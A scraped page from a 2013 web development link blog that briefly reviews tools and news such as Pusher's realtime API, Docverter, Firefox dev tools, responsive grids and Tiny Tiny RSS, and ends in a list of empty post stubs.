wp-cli →

Permalink for 'Bram.us/2013/03/23/Pusher_%e2%80%94_HTML5_WebSocket_Powered_Realtime_Messaging_Service'

Pusher — HTML5 WebSocket Powered Realtime Messaging Service

Posted: March 23rd, 2013, 4:19pm CET by Bramus!

Tags: [edit]

pusher_cloud_diagram

Pusher is a hosted API for quickly, easily and securely adding scalable realtime functionality to web and mobile apps

It’s as easy as subscribing to a channel:

var channel = pusher.subscribe('my-channel');
channel.bind('my-event', function(data) {
  alert('Received my-event with message: ' + data.message);
});

and pushing messages to it:

pusher.trigger('my-channel',
               'my-event',
               { "message": "hello world" }
);

Libs for pushing messages exist for PHP, Ruby, JS, and .Net

Pusher →

Docverter

Posted: March 23rd, 2013, 4:10pm CET by Bramus!

Tags: [edit]

docverter

Convert plain text documents written in HTML, Markdown, or LaTeX to PDF, Docx, RTF or ePub with a simple HTTP API.

Source is also available on GitHub and is ready to be deployed onto Heroku.

Docverter →
Docverter Source (GitHub) →

Firefox CSS live editing via SublimeText

Posted: March 23rd, 2013, 4:01pm CET by Bramus!

Tags: [edit]

A lot of editors are scriptable in Python. And Firefox has remote capabilities. So we are building a python library that can be used by editors to interact with Firefox (desktop or mobile). We could for example add JS breakpoints from Vim, or edit the code of the current page from SublimeText.

Note that the page isn’t being reloaded but the changes are being transferred via the Dev Tools Protocol to Firefox which updates the CSS as if you’d change it via Firebug/the Dev Tools themselves.

FldgNq0

Firefox CSS live editing, and a truckload of other new features — such a built-in jsfiddle/jsbin — are being planned for the next iteration of the Firefox Dev Tools.

Coding in the browser & controlling the browser from editors/IDEs →

Starting + Sustaining

Posted: March 23rd, 2013, 3:49pm CET by Bramus!

Tags: [edit]

starting+sustaining

Starting + Sustaining will help you plan, launch, and run your own web application with less pain and fewer mistakes.

By Garret Dimon of Sifter. If you like the aforementioned Bootstrapping a Software Product presentation you’ll love the book.

Starting + Sustaining: A book and spreadsheet to help you launch and maintain a web application by Garrett Dimon →

Remixing Noon

Posted: March 23rd, 2013, 3:41pm CET by Bramus!

Tags: [edit]

remixing-noon

This is really cool: take the whole oevre of one author and build a sentence using Markov Chains based on two starting words. The picture above is a visualisation of the choices made.

The whole forest had been anesthetised, her temples wired, her senses stimulated, her eyes were not on Eva, not on Eva, not on Eva, not on anybody in that same realm, the land of dreams and nightmares.

Be sure to read the notes too, very interesting.

Remixing Noon →
Notes on remixing Noon, generative text and Markov chains →

Visualize Repaints in Firefox

Posted: March 23rd, 2013, 3:19pm CET by Bramus!

Tags: [edit]

In Firefox Nightly (22) you can now visualize the repaints the browser is doing.

Paint Flashing in Firefox Nightly →

On Responsive Layout and Grids

Posted: March 23rd, 2013, 3:14pm CET by Bramus!

Tags: [edit]

process-responsive-grid

For those who often enquire about my responsive grid “solution” — it’s about 10 lines of code. Not a problem that keeps me up at night

Tried a grid-based approach in a site that’s about to launch any time soon but found it conflicting with the mobile first idea: I’d be undoing the grid’s CSS in the narrowest layout and then re-applying them later on.

In the next project I’ll be sticking to the system I used before: general classes (like .unit or .col) and based on the context (wrapping element) I’d specify the needed width if the screen estate allows me.

Glad to see I’m not the only one using a simple solution.

On Responsive Layout and Grids →

David also gave an excellent talk at Responsive Day Out on Responsive Navigation. Be sure to check the video.

Caption image by Jono Mallanyk

The Gradient Chart

Posted: March 18th, 2013, 2:12pm CET by Bramus!

Tags: [edit]

gradientchart

Handy tool/methodology to decide if you should make a responsive site, or build a separate mdot-site.

Review the tasks that users want to perform on Device A. List them in priority order.

Repeat for Device B.

Put the two lists next to each other, and draw lines connecting identical tasks.

Depending on the steepness of the lines you can make your decision

The gradient chart →

Boring

Posted: March 18th, 2013, 2:06pm CET by Bramus!

Tags: [edit]

Implementing responsiveness does not make a web site boring, bad designers make boring sites

— Mark Boulton at Responsive Day Out 2013

Play by your own rules

Posted: March 16th, 2013, 12:36am CET by Bramus!

Tags: [edit]

0-VCw2VZRPQrxZqSHj

Josh Williams, one of the founders of Gowalla, looking back at when Gowalla launched and needed to compete with Foursquare

While we were busy playing tug-of-war over check-ins, someone else found a path to the goal with less friction.

And no, that “someone else” isn’t Foursquare …

Play by your own rules →

Snappy & User Friendly Dropdown Menus

Posted: March 15th, 2013, 11:57pm CET by Bramus!

Tags: [edit]

At every position of the cursor you can picture a triangle between the current mouse position and the upper and lower right corners of the dropdown menu. If the next mouse position is within that triangle, the user is probably moving their cursor into the currently displayed submenu.

If the cursor goes outside of the blue triangle, they instantly switch the submenu, giving it a really responsive feel.

A jQuery Plugin enabling this for your own menus is available.

Breaking Down Amazon’s Mega Dropdown →
jQuery-menu-aim →

Tiny Tiny RSS

Posted: March 15th, 2013, 11:25pm CET by Bramus!

Tags: [edit]

Update 2013.03.18: Just took Tiny Tiny RSS for a spin. It works as advertised (it collects your feeds and you can stroll through them), but I found it not that great (the concept of the reading pane just doesn’t work, some frontend bugs, couldn’t get the authentication plugin to work although it was enabled, etc.).

I also took a look at the underlying PHP code and it’s very worrisome — it looks like my PHP code from 10 years ago. Above that the project contains some half-assed attempts such as the digest mode and mobile mode (which are not implemented correctly) which got me worrying even more about the quality of the product.

Guess I’ll have to look for an other alternative …

site_shot_5

Google recently announced that they’ll be shutting down Google Reader on July 1st. One alternative that’s been suggested to me is Tiny Tiny RSS.

Tiny Tiny RSS is an open source web-based news feed (RSS/Atom) reader and aggregator, designed to allow you to read news from any location, while feeling as close to a real desktop application as possible.

Don’t like the look and feel but might give it a shot …

Tiny Tiny RSS →

Note: Digg announced that they’ll be making a Digg Reader … now, must say they’ve made me curious.

Permalink for 'Bram.us/2013/03/15/We%e2%80%99re_not_%e2%80%98appy._Not_%e2%80%98appy_at_all.'

We’re not ‘appy. Not ‘appy at all.

Posted: March 15th, 2013, 11:17pm CET by Bramus!

Tags: [edit]

The British Government Digital Service (a new team within Cabinet Office, which in its turn supports the Prime Minister and Deputy Prime Minister) is totally getting it:

Stand-alone mobile apps will only be considered once the core web service works well on mobile devices, and if specifically agreed with the Cabinet Office.

Above that:

Apps may be transforming gaming and social media, but for utility public services, the ‘making your website adapt really effectively to a range of devices’ approach is currently the better strategy. It allows you to iterate your services much more quickly, minimises any market impact and is far cheaper to support.

With that, they’re pushing anyone within the central government to, let me quote:

make your data and/or API available for re-use and you will stimulate the market if there is demand for native apps

Highly recommended read. Also contains a solid presentation (embedded above) and some figures of website performance after having given some a (responsive) overhaul. Spoiler: performance increased.

We’re not ‘appy. Not ‘appy at all. →

The British Government surprised me before, with their list of Design Principles. Also highly recommended.

Browserdiet

Posted: March 15th, 2013, 10:58pm CET by Bramus!

Tags: [edit]

browserdiet

And what if we got together a bunch of experts who work on large sites to create a definitive front-end performance guide That’s exactly what we’ve done! And we’ll guide you in this battle to create even faster sites.

Patting myself on the back as the tips mentioned are exactly those mentioned in my own lectures on performance and optimization.

Browserdiet — The definitive front-end performance guide →

Coincidentally, the current issue of A List Apart (no 371) also touches the subject: Improving UX Through Front-End Performance →

Permalink for 'Bram.us/2013/03/15/RasPlex_%e2%80%94_Plex_on_a_Raspberry_Pi'

RasPlex — Plex on a Raspberry Pi

Posted: March 15th, 2013, 10:51pm CET by Bramus!

Tags: [edit]

rasplex

Simply put, RasPlex lets you turn your TV into a Smart TV. Similar to the AppleTV, but completely free and open source, RasPlex is basically a set-top box. Once RasPlex is stable, it will have support for legacy console game emulation (NES, SNES, etc), as well as Plex Channels (Netflix, Crackle, Youtube, etc).

In due time you’ll even be able to order a preconfigured Raspberry Pi with a nice VESA mountable case from the site.

RasPlex →

Dropbox acquires Mailbox

Posted: March 15th, 2013, 10:44pm CET by Bramus!

Tags: [edit]

maildropbox

Mailbox has been around for about a month now and it’s already been acquired by … Dropbox! Quite surprising I must say.

After spending time with Gentry, Scott, and the team, it became clear that their calling was the same as ours at Dropbox—to solve life’s hidden problems and reimagine the things we do every day. We all quickly realized that together we could save millions of people a lot of pain.

Welcome Mailbox! →

Permalink for 'Bram.us/2013/03/08/What_is_isn%e2%80%99t_Webkit_'

What is/isn’t Webkit?

Posted: March 8th, 2013, 11:54pm CET by Bramus!

Tags: [edit]

complicated

Especially with the news that Opera has moved to WebKit, we have a lot of WebKit browsers out there, but its pretty hard to know what they share and where they part ways. So let’s take a moment to understand some things: What is WebKit? What isn’t WebKit? How is WebKit used by WebKit-based browsers? Why are all WebKits not the same?

Turns out there’s a truckload of things that are NOT shared between Webkit ports. Who’d've thunk?

Webkit for Developers →

SketchInsight

Posted: March 8th, 2013, 11:47pm CET by Bramus!

Tags: [edit]

SketchInsight is an interactive whiteboard system for storytelling with data by using real-time sketching. Creating personalized, expressive data charts becomes quick and easy. The presenter simply sketches an example, and SketchInsight automatically completes the chart by synthesizing from example sketches.

SketchInsight: Natural Data Exploration and Presentation through Sketch-based Interaction →

(via teusje)

Permalink for 'Bram.us/2013/03/08/Hook.js_%e2%80%94_Pull_to_refresh._For_the_web.'

Hook.js — Pull to refresh. For the web.

Posted: March 8th, 2013, 11:31pm CET by Bramus!

Tags: [edit]

hookjs

We love that neat little “pull to refresh” feature on our devices, but wouldn’t it be awesome if it was for the web? Well, that’s what Hook is here to do.

Hook.js →

The Accessibility Project

Posted: March 8th, 2013, 11:23pm CET by Bramus!

Tags: [edit]

a11yproject

For many web developers, accessibility is complex and somewhat difficult. The Accessibility Project understands that and we want to help to make web accessibility easier for front end developers to implement.

The Accessibility Project

Bart De Waele » Items by Bramus!

Feeds

Items by Bramus!

Posted: May 13th, 2013, 2:41pm CEST by Bramus!

Tags: [edit]

Posted: May 8th, 2013, 5:42pm CEST by Bramus!

Tags: [edit]

Posted: May 3rd, 2013, 12:27am CEST by Bramus!

Tags: [edit]

Posted: May 1st, 2013, 4:13pm CEST by Bramus!

Tags: [edit]

Posted: May 1st, 2013, 4:10pm CEST by Bramus!

Tags: [edit]

Posted: May 1st, 2013, 4:03pm CEST by Bramus!

Tags: [edit]

Posted: May 1st, 2013, 4:00pm CEST by Bramus!

Tags: [edit]

Posted: May 1st, 2013, 3:53pm CEST by Bramus!

Tags: [edit]

Posted: April 30th, 2013, 5:07pm CEST by Bramus!

Tags: [edit]

Posted: April 29th, 2013, 4:06pm CEST by Bramus!

Tags: [edit]

Posted: April 29th, 2013, 4:01pm CEST by Bramus!

Tags: [edit]

Posted: April 26th, 2013, 4:15pm CEST by Bramus!

Tags: [edit]

Posted: April 26th, 2013, 4:05pm CEST by Bramus!

Tags: [edit]

Posted: April 26th, 2013, 3:54pm CEST by Bramus!

Tags: [edit]

Posted: April 26th, 2013, 3:51pm CEST by Bramus!

Tags: [edit]

Posted: April 26th, 2013, 3:45pm CEST by Bramus!

Tags: [edit]

Posted: April 26th, 2013, 3:42pm CEST by Bramus!

Tags: [edit]

Posted: April 23rd, 2013, 1:19pm CEST by Bramus!

Tags: [edit]

Posted: April 23rd, 2013, 1:16pm CEST by Bramus!

Tags: [edit]

Posted: April 23rd, 2013, 1:03pm CEST by Bramus!

Tags: [edit]

Posted: April 22nd, 2013, 10:03pm CEST by Bramus!

Tags: [edit]

Posted: April 22nd, 2013, 4:02pm CEST by Bramus!

Tags: [edit]

Posted: April 22nd, 2013, 2:40pm CEST by Bramus!

Tags: [edit]

Posted: April 18th, 2013, 10:24pm CEST by Bramus!

Tags: [edit]

Posted: April 18th, 2013, 10:09pm CEST by Bramus!

Tags: [edit]

Posted: April 16th, 2013, 11:47pm CEST by Bramus!

Tags: [edit]

Posted: April 15th, 2013, 8:42am CEST by Bramus!

Tags: [edit]

Posted: April 13th, 2013, 1:45pm CEST by Bramus!

Tags: [edit]

Posted: April 13th, 2013, 1:37pm CEST by Bramus!

Tags: [edit]

Posted: April 13th, 2013, 1:27pm CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 1:46pm CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 12:06pm CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 11:58am CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 11:44am CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 11:37am CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 11:28am CEST by Bramus!

Tags: [edit]

Posted: April 11th, 2013, 11:24am CEST by Bramus!

Tags: [edit]

Posted: April 9th, 2013, 10:09am CEST by Bramus!

Tags: [edit]

Posted: April 9th, 2013, 9:56am CEST by Bramus!